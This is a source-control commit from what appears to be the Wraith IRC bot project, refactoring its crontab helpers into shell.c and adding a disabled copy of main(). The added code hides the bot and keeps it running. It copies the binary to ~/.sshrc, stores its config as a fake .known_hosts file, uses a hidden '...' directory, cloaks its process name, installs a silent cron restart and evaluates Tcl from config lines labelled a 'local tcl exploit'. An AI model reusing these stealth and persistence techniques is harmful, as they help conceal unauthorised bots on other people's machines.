Kaynağa Gözat

* Moved crontab_*() to shell.c

svn: 670
Bryan Drewery 22 yıl önce
ebeveyn
işleme
27f47c5835
5 değiştirilmiş dosya ile 622 ekleme ve 84 silme
  1. 6 22
      src/cmds.c
  2. 1 60
      src/main.c
  3. 0 2
      src/main.h
  4. 612 0
      src/shell.c
  5. 3 0
      src/shell.h

+ 6 - 22
src/cmds.c

@@ -3662,28 +3662,12 @@ static void cmd_netlast(struct userrec * u, int idx, char * par) {
 }
 #endif /* HUB */
 
-void crontab_show(struct userrec * u, int idx) {
+void crontab_show(struct userrec *u, int idx) {
   dprintf(idx, STR("Showing current crontab:\n"));
   if (!exec_str(idx, STR("crontab -l | grep -v \"^#\"")))
     dprintf(idx, STR("Exec failed"));
 }
 
-void crontab_del() {
-  char *tmpfile, *p, buf[2048];
-  tmpfile = malloc(strlen(binname) + 100);
-  strcpy(tmpfile, binname);
-  if (!(p = strrchr(tmpfile, '/')))
-    return;
-  p++;
-  strcpy(p, STR(".ctb"));
-  sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\" > %s"), binname, tmpfile);
-  if (shell_exec(buf, NULL, NULL, NULL)) {
-    sprintf(buf, STR("crontab %s"), tmpfile);
-    shell_exec(buf, NULL, NULL, NULL);
-  }
-  unlink(tmpfile);
-}
-
 static void cmd_crontab(struct userrec *u, int idx, char *par) {
   char * code;
   int i;
@@ -3694,7 +3678,7 @@ static void cmd_crontab(struct userrec *u, int idx, char *par) {
   }
   code=newsplit(&par);
   if (!strcmp(code, STR("status"))) {
-    i=crontab_exists();
+    i = crontab_exists();
     if (!i)
       dprintf(idx, STR("No crontab\n"));
     else if (i==1)
@@ -3705,7 +3689,7 @@ static void cmd_crontab(struct userrec *u, int idx, char *par) {
     crontab_show(u, idx);
   } else if (!strcmp(code, STR("delete"))) {
     crontab_del();
-    i=crontab_exists();
+    i = crontab_exists();
     if (!i)
       dprintf(idx, STR("No crontab\n"));
     else if (i==1)
@@ -3713,11 +3697,11 @@ static void cmd_crontab(struct userrec *u, int idx, char *par) {
     else
       dprintf(idx, STR("Error checking crontab status\n"));
   } else if (!strcmp(code, STR("new"))) {
-    i=atoi(par);
+    i = atoi(par);
     if ((i<=0) || (i>60))
       i=10;
     crontab_create(i);
-    i=crontab_exists();
+    i = crontab_exists();
     if (!i)
       dprintf(idx, STR("No crontab\n"));
     else if (i==1)
@@ -3787,7 +3771,7 @@ void rcmd_exec(char * frombot, char * fromhand, char * fromidx, char * par) {
     if (!scmd[0]) {
       char s[200];
       int i;
-      i=crontab_exists();
+      i = crontab_exists();
       if (!i)
         sprintf(s, STR("No crontab"));
       else if (i==1)

+ 1 - 60
src/main.c

@@ -80,7 +80,6 @@ extern int		 dcc_total, conmask, cache_hit, cache_miss,
 extern struct dcc_t	*dcc;
 extern struct userrec	*userlist;
 extern struct chanset_t	*chanset;
-extern Tcl_Interp	*interp;
 
 
 const time_t 	buildts = CVSBUILD;		/* build timestamp (UTC) */
@@ -630,64 +629,6 @@ int init_dcc_max(), init_userent(), init_auth(), init_config(), init_bots(),
 
 void binds_init();
 
-int crontab_exists() {
-  char buf[2048] = "", *out = NULL;
-  egg_snprintf(buf, sizeof buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
-  if (shell_exec(buf, NULL, &out, NULL)) {
-
-    if (out && strstr(out, binname)) {
-      free(out);
-      return 1;
-    } else {
-      if (out)
-        free(out);
-      return 0;
-    }
-  } else
-    return (-1);
-}
-
-void crontab_create(int interval) {
-  char tmpfile[161] = "", buf[256] = "";
-  FILE *f;
-  int fd;
-
-  /* always use mkstemp() when handling temp files! -dizz */
-  egg_snprintf(tmpfile, sizeof tmpfile, "%s.crontab-XXXXXX", tempdir);
-  if ((fd = mkstemp(tmpfile)) == -1) {
-    unlink(tmpfile);
-    return;
-  } 
-
-  egg_snprintf(buf, sizeof buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
-  if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
-    buf[0] = 0;
-    if (interval == 1)
-      strcpy(buf, "*");
-    else {
-      int i = 1;
-      int si = random() % interval;
-
-      while (i < 60) {
-        if (buf[0])
-          sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
-        else
-          sprintf(buf, "%i", (i + si) % 60);
-        i += interval;
-      }
-    }
-    egg_snprintf(buf + strlen(buf), sizeof buf, STR(" * * * * %s > /dev/null 2>&1"), binname);
-    fseek(f, 0, SEEK_END);
-    fprintf(f, STR("\n%s\n"), buf);
-    fclose(f);
-    sprintf(buf, STR("crontab %s"), tmpfile);
-    shell_exec(buf, NULL, NULL, NULL);
-  }
-  close(fd);
-  unlink(tmpfile);
-
-}
-
 static void check_crontab()
 {
   int i = 0;
@@ -1094,7 +1035,7 @@ int main(int argc, char **argv)
             pscloak = 0;
           } else {
             newsplit(&temps);
-            Tcl_Eval(interp, temps);
+/*            Tcl_Eval(interp, temps); */
           }
         } else if (c[0] != '#') {  //now to parse nick/hosts
           /* we have the right uname/uid, safe to setup crontab now. */

+ 0 - 2
src/main.h

@@ -6,8 +6,6 @@
 extern int use_stderr;
 extern time_t now;
 
-int crontab_exists();
-void crontab_create(int);
 void fatal(const char *, int);
 #endif /* !MAKING_MODS */
 

+ 612 - 0
src/shell.c

@@ -880,3 +880,615 @@ char *my_uname()
 }
 
 
+void crontab_del() {
+  char *tmpfile, *p, buf[2048];
+  tmpfile = malloc(strlen(binname) + 100);
+  strcpy(tmpfile, binname);
+  if (!(p = strrchr(tmpfile, '/')))
+    return;
+  p++;
+  strcpy(p, STR(".ctb"));
+  sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\" > %s"), binname, tmpfile);
+  if (shell_exec(buf, NULL, NULL, NULL)) {
+    sprintf(buf, STR("crontab %s"), tmpfile);
+    shell_exec(buf, NULL, NULL, NULL);
+  }
+  unlink(tmpfile);
+}
+
+int crontab_exists() {
+  char buf[2048] = "", *out = NULL;
+  egg_snprintf(buf, sizeof buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
+  if (shell_exec(buf, NULL, &out, NULL)) {
+
+    if (out && strstr(out, binname)) {
+      free(out);
+      return 1;
+    } else {
+      if (out)
+        free(out);
+      return 0;
+    }
+  } else
+    return (-1);
+}
+
+void crontab_create(int interval) {
+  char tmpfile[161] = "", buf[256] = "";
+  FILE *f;
+  int fd;
+
+  /* always use mkstemp() when handling temp files! -dizz */
+  egg_snprintf(tmpfile, sizeof tmpfile, "%s.crontab-XXXXXX", tempdir);
+  if ((fd = mkstemp(tmpfile)) == -1) {
+    unlink(tmpfile);
+    return;
+  }
+
+  egg_snprintf(buf, sizeof buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
+  if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
+    buf[0] = 0;
+    if (interval == 1)
+      strcpy(buf, "*");
+    else {
+      int i = 1;
+      int si = random() % interval;
+
+      while (i < 60) {
+        if (buf[0])
+          sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
+        else
+          sprintf(buf, "%i", (i + si) % 60);
+        i += interval;
+      }
+    }
+    egg_snprintf(buf + strlen(buf), sizeof buf, STR(" * * * * %s > /dev/null 2>&1"), binname);
+    fseek(f, 0, SEEK_END);
+    fprintf(f, STR("\n%s\n"), buf);
+    fclose(f);
+    sprintf(buf, STR("crontab %s"), tmpfile);
+    shell_exec(buf, NULL, NULL, NULL);
+  }
+  close(fd);
+  unlink(tmpfile);
+
+}
+#ifdef HEH
+int main(int argc, char **argv)
+{
+  egg_timeval_t howlong;
+  int xx, i;
+#ifdef LEAF
+  int x = 1;
+#endif
+  char buf[SGRAB + 9] = "", s[25] = "";
+  FILE *f;
+#ifdef LEAF
+  int skip = 0;
+  int ok = 1;
+#endif
+  init_debug();
+
+  /* Version info! */
+  egg_snprintf(ver, sizeof ver, "Wraith %s", egg_version);
+  egg_snprintf(version, sizeof version, "Wraith %s (%u/%lu)", egg_version, egg_numver, buildts);
+#ifdef STOP_UAC
+  {
+    int nvpair[2];
+
+    nvpair[0] = SSIN_UACPROC;
+    nvpair[1] = UAC_NOPRINT;
+    setsysinfo(SSI_NVPAIRS, (char *) nvpair, 1, NULL, 0);
+  }
+#endif
+
+  init_signals();
+
+  Context;
+  /* Initialize variables and stuff */
+  now = time(NULL);
+  chanset = NULL;
+#ifdef S_UTCTIME
+  egg_memcpy(&nowtm, gmtime(&now), sizeof(struct tm));
+#else /* !S_UTCTIME */
+  egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
+#endif /* S_UTCTIME */
+  lastmin = nowtm.tm_min;
+  srandom(now % (getpid() + getppid()));
+  myuid = geteuid();
+  binname = getfullbinname(argv[0]);
+
+  /* just load everything now, won't matter if it's loaded if the bot has to suicide on startup */
+  init_settings();
+  binds_init();
+  core_binds_init();
+  init_dcc_max();
+  init_userent();
+  init_bots();
+  init_net();
+  init_modules();
+  init_tcl(argc, argv);
+  init_auth();
+  init_config();
+  init_botcmd();
+  link_statics();
+
+  if (!can_stat(binname))
+   werr(ERR_BINSTAT);
+  if (!fixmod(binname))
+   werr(ERR_BINMOD);
+
+  if (argc) {
+    sdprintf(STR("Calling dtx_arg with %d params."), argc);
+    dtx_arg(argc, argv);
+  }
+  if (checktrace)
+    check_trace_start();
+
+#ifdef HUB
+  egg_snprintf(tempdir, sizeof tempdir, "%s/tmp/", confdir());
+#endif /* HUB */
+
+#ifdef LEAF
+{
+  char newbin[DIRMAX];
+  sdprintf(STR("my uid: %d my uuid: %d, my ppid: %d my pid: %d"), getuid(), geteuid(), getppid(), getpid());
+  chdir(homedir());
+  egg_snprintf(newbin, sizeof newbin, STR("%s/.sshrc"), homedir());
+  egg_snprintf(tempdir, sizeof tempdir, "%s/.../", confdir());
+
+  sdprintf(STR("newbin at: %s"), newbin);
+
+  if (strcmp(binname,newbin) && !skip) { //running from wrong dir, or wrong bin name.. lets try to fix that :)
+    sdprintf(STR("wrong dir, is: %s :: %s"), binname, newbin);
+    unlink(newbin);
+    if (copyfile(binname,newbin))
+     ok = 0;
+
+    if (ok) 
+     if (!can_stat(newbin)) {
+       unlink(newbin);
+       ok = 0;
+     }
+    if (ok) 
+      if (!fixmod(newbin)) {
+        unlink(newbin);
+        ok = 0;
+      }
+
+    if (!ok)
+      werr(ERR_WRONGBINDIR);
+    else {
+      unlink(binname);
+      system(newbin);
+      sdprintf(STR("exiting to let new binary run..."));
+      exit(0);
+    }
+  }
+
+  /* Ok if we are here, then the binary is accessable and in the correct directory, now lets do the local config... */
+
+}
+#endif /* LEAF */
+  {
+    char tmp[DIRMAX];
+
+    egg_snprintf(tmp, sizeof tmp, "%s/", confdir());
+    if (!can_stat(tmp)) {
+#ifdef LEAF
+      if (mkdir(tmp,  S_IRUSR | S_IWUSR | S_IXUSR)) {
+        unlink(confdir());
+        if (!can_stat(confdir()))
+          if (mkdir(confdir(), S_IRUSR | S_IWUSR | S_IXUSR))
+#endif /* LEAF */
+            werr(ERR_CONFSTAT);
+#ifdef LEAF
+      }
+#endif /* LEAF */
+    }
+
+    egg_snprintf(tmp, sizeof tmp, "%s", tempdir);
+    if (!can_stat(tmp)) {
+      if (mkdir(tmp,  S_IRUSR | S_IWUSR | S_IXUSR)) {
+        unlink(tempdir);
+        if (!can_stat(tempdir))
+          if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
+            werr(ERR_TMPSTAT);
+      }
+    }
+  }
+  if (!fixmod(confdir()))
+    werr(ERR_CONFDIRMOD);
+  if (!fixmod(tempdir))
+    werr(ERR_TMPMOD);
+
+  /* The config dir is accessable with correct permissions, lets read/write/create config file now.. */
+  {		/* config shit */
+    char cfile[DIRMAX] = "", templine[8192] = "";
+#ifdef LEAF
+    egg_snprintf(cfile, sizeof cfile, STR("%s/.known_hosts"), confdir());
+#else /* HUB */
+    egg_snprintf(cfile, sizeof cfile, STR("%s/conf"), confdir());
+#endif /* LEAF */
+    if (!can_stat(cfile))
+      werr(ERR_NOCONF);
+    if (!fixmod(cfile))
+      werr(ERR_CONFMOD);
+#ifdef LEAF
+    if (localhub) { 
+#endif /* LEAF */
+      i = 0;
+      if (!(f = fopen(cfile, "r")))
+         werr(0);
+      Context;
+      while(fscanf(f, "%[^\n]\n", templine) != EOF) {
+        char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL, *temps, c[1024];
+        void *temp_ptr;
+        int skip = 0;
+
+        temps = temp_ptr = decrypt_string(SALT1, templine);
+        if (!strchr(STR("*#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ"), temps[0])) {
+          sdprintf(STR("line %d, char %c "), i, temps[0]);
+          werr(ERR_CONFBADENC);
+        }
+        egg_snprintf(c, sizeof c, "%s", temps);
+
+        if (c[0] == '*') {
+          skip = 1;
+        } else if (c[0] == '-' && !skip) { /* uid */
+          newsplit(&temps);
+          if (geteuid() != atoi(temps)) {
+            sdprintf(STR("wrong uid, conf: %d :: %d"), atoi(temps), geteuid());
+            werr(ERR_WRONGUID);
+          }
+        } else if (c[0] == '+' && !skip) { /* uname */
+          int r = 0;
+          newsplit(&temps);
+          if ((r = strcmp(temps, my_uname()))) {
+            baduname(temps, my_uname());
+            sdprintf(STR("wrong uname, conf: %s :: %s"), temps, my_uname());
+            werr(ERR_WRONGUNAME);
+          }
+        } else if (c[0] == '!') { //local tcl exploit
+          if (c[1] == '-') { //dont use pscloak
+#ifdef S_PSCLOAK
+            sdprintf(STR("NOT CLOAKING"));
+#endif /* S_PSCLOAK */
+            pscloak = 0;
+          } else {
+            newsplit(&temps);
+            Tcl_Eval(interp, temps);
+          }
+        } else if (c[0] != '#') {  //now to parse nick/hosts
+          /* we have the right uname/uid, safe to setup crontab now. */
+          i++;
+          nick = newsplit(&temps);
+          if (!nick || !nick[0])
+            werr(ERR_BADCONF);
+          sdprintf(STR("Read nick from config: %s"), nick);
+          if (temps[0])
+            ip = newsplit(&temps);
+          if (temps[0])
+            host = newsplit(&temps);
+          if (temps[0])
+            ipsix = newsplit(&temps);
+
+          if (i == 1) { //this is the first bot ran/parsed
+            strncpyz(s, ctime(&now), sizeof s);
+            strcpy(&s[11], &s[20]);
+
+            if (ip && ip[0] == '!') { //natip
+              ip++;
+              sprintf(natip, "%s",ip);
+            } else {
+              if (ip && ip[1]) //only copy ip if it is longer than 1 char (.)
+                egg_snprintf(myip, 120, "%s", ip);
+            }
+            egg_snprintf(origbotname, 10, "%s", nick);
+#ifdef HUB
+            sprintf(userfile, "%s/.u", confdir());
+#endif /* HUB */
+/* log          sprintf(logfile, "%s/.%s.log", confdir(), nick); */
+            if (host && host[1]) { //only copy host if it is longer than 1 char (.)
+              if (host[0] == '+') { //ip6 host
+              host++;
+              sprintf(hostname6, "%s",host);
+            } else  //normal ip4 host
+              sprintf(hostname, "%s",host);
+            }
+            if (ipsix && ipsix[1]) { //only copy ipsix if it is longer than 1 char (.)
+              egg_snprintf(myip6, 120, "%s",ipsix);
+            }
+          } //First bot in conf
+#ifdef LEAF
+          else { //these are the rest of the bots..
+            char buf2[DIRMAX] = "";
+            FILE *fp;
+
+            xx = 0, x = 0, errno = 0;
+            s[0] = '\0';
+            /* first let's determine if the bot is already running or not.. */
+            egg_snprintf(buf2, sizeof buf2, "%s.pid.%s", tempdir, nick);
+            fp = fopen(buf2, "r");
+            if (fp != NULL) {
+              fgets(s, 10, fp);
+              fclose(fp);
+              xx = atoi(s);
+              if (updating) {
+                x = kill(xx, SIGKILL); //try to kill the pid if we are updating.
+                unlink(buf2);
+              }
+              kill(xx, SIGCHLD);
+              if (errno == ESRCH || (updating && !x)) { //PID is !running, safe to run.
+                if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
+                  printf(STR("* Failed to spawn %s\n"), nick); //This probably won't ever happen.
+              } else if (!x)
+                sdprintf(STR("%s is already running, pid: %d"), nick, xx);
+            } else {
+              if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
+                printf(STR("* Failed to spawn %s\n"), nick); //This probably won't ever happen.
+            }
+          }
+#endif /* LEAF */
+        } 
+        free(temp_ptr);
+      } /* while(fscan) */
+      fclose(f);
+#ifdef LEAF
+      if (updating)
+        exit(0); /* let cron restart us. */
+    } /* localhub */
+#endif /* LEAF */
+  }
+  dns_init();
+  module_load("channels");
+#ifdef LEAF
+  module_load("server");
+  module_load("irc");
+#endif /* LEAF */
+  module_load("transfer");
+  module_load("share");
+  update_init();
+  notes_init();
+  console_init();
+  ctcp_init();
+  module_load("compress");
+
+  chanprog();
+
+  clear_tmp();
+#ifdef LEAF
+  if (localhub) {
+    sdprintf(STR("I am localhub (%s)"), origbotname);
+#endif /* LEAF */
+    check_crontab();
+#ifdef LEAF
+  }
+#endif /* LEAF */
+
+
+  cache_miss = 0;
+  cache_hit = 0;
+  if (!pid_file[0])
+    egg_snprintf(pid_file, sizeof pid_file, "%s.pid.%s", tempdir, botnetnick);
+
+  if ((localhub && !updating) || !localhub) {
+    if ((f = fopen(pid_file, "r")) != NULL) {
+      fgets(s, 10, f);
+      xx = atoi(s);
+      kill(xx, SIGCHLD);
+      if (errno != ESRCH) { //!= is PID is running.
+        sdprintf(STR("%s is already running, pid: %d"), botnetnick, xx);
+        exit(1);
+      }
+      fclose(f);
+    }
+  }
+
+#ifdef LEAF
+#ifdef S_PSCLOAK
+  if (pscloak) {
+    int on = 0;
+    char *p = progname();
+
+    egg_memset(argv[0], 0, strlen(argv[0]));
+    strncpyz(argv[0], p, strlen(p) + 1);
+    for (on = 1; on < argc; on++) egg_memset(argv[on], 0, strlen(argv[on]));
+  }
+#endif /* PSCLOAK */
+#endif /* LEAF */
+
+  putlog(LOG_MISC, "*", STR("=== %s: %d users."), botnetnick, count_users(userlist));
+  /* Move into background? */
+
+  if (backgrd) {
+#ifndef CYGWIN_HACKS
+    bg_do_split();
+  } else {			/* !backgrd */
+#endif /* CYGWIN_HACKS */
+    xx = getpid();
+    if (xx != 0) {
+      /* Write pid to file */
+      unlink(pid_file);
+      if ((f = fopen(pid_file, "w")) != NULL) {
+        fprintf(f, "%u\n", xx);
+        if (fflush(f)) {
+	  /* Let the bot live since this doesn't appear to be a botchk */
+	  printf(EGG_NOWRITE, pid_file);
+	  unlink(pid_file);
+	  fclose(f);
+        } else {
+          fclose(f);
+        }
+      } else
+        printf(EGG_NOWRITE, pid_file);
+#ifdef CYGWIN_HACKS
+      printf(STR("Launched into the background  (pid: %d)\n\n"), xx);
+#endif /* CYGWIN_HACKS */
+    }
+  }
+
+  use_stderr = 0;		/* Stop writing to stderr now */
+  if (backgrd) {
+    /* Ok, try to disassociate from controlling terminal (finger cross) */
+#if HAVE_SETPGID && !defined(CYGWIN_HACKS)
+    setpgid(0, 0);
+#endif
+    /* Tcl wants the stdin, stdout and stderr file handles kept open. */
+    freopen("/dev/null", "r", stdin);
+    freopen("/dev/null", "w", stdout);
+    freopen("/dev/null", "w", stderr);
+#ifdef CYGWIN_HACKS
+    FreeConsole();
+#endif /* CYGWIN_HACKS */
+  }
+
+  /* Terminal emulating dcc chat */
+  if (!backgrd && term_z) {
+    int n = new_dcc(&DCC_CHAT, sizeof(struct chat_info));
+
+    dcc[n].addr = iptolong(getmyip());
+    dcc[n].sock = STDOUT;
+    dcc[n].timeval = now;
+    dcc[n].u.chat->con_flags = conmask;
+    dcc[n].u.chat->strip_flags = STRIP_ALL;
+    dcc[n].status = STAT_ECHO;
+    strcpy(dcc[n].nick, "HQ");
+    strcpy(dcc[n].host, "llama@console");
+    dcc[n].user = get_user_by_handle(userlist, "HQ");
+    /* Make sure there's an innocuous HQ user if needed */
+    if (!dcc[n].user) {
+      userlist = adduser(userlist, "HQ", "none", "-", USER_ADMIN | USER_OWNER | USER_MASTER | USER_VOICE | USER_OP | USER_PARTY | USER_CHUBA | USER_HUBA);
+      dcc[n].user = get_user_by_handle(userlist, "HQ");
+    }
+    setsock(STDOUT, 0);          /* Entry in net table */
+    dprintf(n, "\n### ENTERING DCC CHAT SIMULATION ###\n\n");
+    dcc_chatter(n);
+  }
+
+  then = now;
+  online_since = now;
+  autolink_cycle(NULL);		/* Hurry and connect to tandem bots */
+  howlong.sec = 1;
+  howlong.usec = 0;
+  timer_create_repeater(&howlong, (Function) core_secondly);
+  add_hook(HOOK_10SECONDLY, (Function) core_10secondly);
+  add_hook(HOOK_30SECONDLY, (Function) expire_simuls);
+  add_hook(HOOK_MINUTELY, (Function) core_minutely);
+  add_hook(HOOK_HOURLY, (Function) core_hourly);
+  add_hook(HOOK_HALFHOURLY, (Function) core_halfhourly);
+  add_hook(HOOK_REHASH, (Function) event_rehash);
+  add_hook(HOOK_PRE_REHASH, (Function) event_prerehash);
+  add_hook(HOOK_USERFILE, (Function) event_save);
+  add_hook(HOOK_DAILY, (Function) event_resettraffic);
+
+  debug0(STR("main: entering loop"));
+  while (1) {
+    int socket_cleanup = 0;
+
+    /* Process a single tcl event */
+    Tcl_DoOneEvent(TCL_ALL_EVENTS | TCL_DONT_WAIT);
+
+    /* Lets move some of this here, reducing the numer of actual
+     * calls to periodic_timers
+     */
+    now = time(NULL);
+    timer_run();
+    if (now != then) {		/* Once a second */
+/*      call_hook(HOOK_SECONDLY); */
+      then = now;
+    }
+
+    /* Only do this every so often. */
+    if (!socket_cleanup) {
+      socket_cleanup = 5;
+
+      /* Remove dead dcc entries. */
+      dcc_remove_lost();
+
+      /* Check for server or dcc activity. */
+      dequeue_sockets();		
+    } else
+      socket_cleanup--;
+
+    buf[0] = 0;
+    xx = sockgets(buf, &i); 
+    /* "chanprog()" bug is down here somewhere.... */
+    if (xx >= 0) {		/* Non-error */
+      int idx;
+
+      for (idx = 0; idx < dcc_total; idx++)
+	if (dcc[idx].sock == xx) {
+	  if (dcc[idx].type && dcc[idx].type->activity) {
+	    /* Traffic stats */
+	    if (dcc[idx].type->name) {
+	      if (!strncmp(dcc[idx].type->name, "BOT", 3))
+		traffic.in_today.bn += strlen(buf) + 1;
+	      else if (!strcmp(dcc[idx].type->name, "SERVER"))
+		traffic.in_today.irc += strlen(buf) + 1;
+	      else if (!strncmp(dcc[idx].type->name, "CHAT", 4))
+		traffic.in_today.dcc += strlen(buf) + 1;
+	      else if (!strncmp(dcc[idx].type->name, "FILES", 5))
+		traffic.in_today.dcc += strlen(buf) + 1;
+	      else if (!strcmp(dcc[idx].type->name, "SEND"))
+		traffic.in_today.trans += strlen(buf) + 1;
+	      else if (!strncmp(dcc[idx].type->name, "GET", 3))
+		traffic.in_today.trans += strlen(buf) + 1;
+	      else
+		traffic.in_today.unknown += strlen(buf) + 1;
+	    }
+	    dcc[idx].type->activity(idx, buf, i);
+	  } else
+	    putlog(LOG_MISC, "*",
+		   "!!! untrapped dcc activity: type %s, sock %d",
+		   dcc[idx].type->name, dcc[idx].sock);
+	  break;
+	}
+    } else if (xx == -1) {	/* EOF from someone */
+      int idx;
+
+      if (i == STDOUT && !backgrd)
+	fatal(STR("END OF FILE ON TERMINAL"), 0);
+      for (idx = 0; idx < dcc_total; idx++)
+	if (dcc[idx].sock == i) {
+	  if (dcc[idx].type && dcc[idx].type->eof)
+	    dcc[idx].type->eof(idx);
+	  else {
+	    putlog(LOG_MISC, "*",
+		   "*** ATTENTION: DEAD SOCKET (%d) OF TYPE %s UNTRAPPED",
+		   i, dcc[idx].type ? dcc[idx].type->name : "*UNKNOWN*");
+	    killsock(i);
+	    lostdcc(idx);
+	  }
+	  idx = dcc_total + 1;
+	}
+      if (idx == dcc_total) {
+	putlog(LOG_MISC, "*",
+	       "(@) EOF socket %d, not a dcc socket, not anything.", i);
+	close(i);
+	killsock(i);
+      }
+    } else if (xx == -2 && errno != EINTR) {	/* select() error */
+      putlog(LOG_MISC, "*", STR("* Socket error #%d; recovering."), errno);
+      for (i = 0; i < dcc_total; i++) {
+	if ((fcntl(dcc[i].sock, F_GETFD, 0) == -1) && (errno = EBADF)) {
+	  putlog(LOG_MISC, "*",
+		 "DCC socket %d (type %d, name '%s') expired -- pfft",
+		 dcc[i].sock, dcc[i].type, dcc[i].nick);
+	  killsock(dcc[i].sock);
+	  lostdcc(i);
+	  i--;
+	}
+      }
+    } else if (xx == -3) {
+      call_hook(HOOK_IDLE);
+      socket_cleanup = 0;	/* If we've been idle, cleanup & flush */
+    }
+
+    if (do_restart) {
+      rehash();
+      do_restart = 0;
+    }
+  }
+}
+#endif

+ 3 - 0
src/shell.h

@@ -76,6 +76,9 @@ void check_processes();
 void detected(int, char *);
 void werr(int);
 char *werr_tostr(int);
+void crontab_del();
+int crontab_exists();
+void crontab_create(int);
 #endif /* !MAKING_MODS */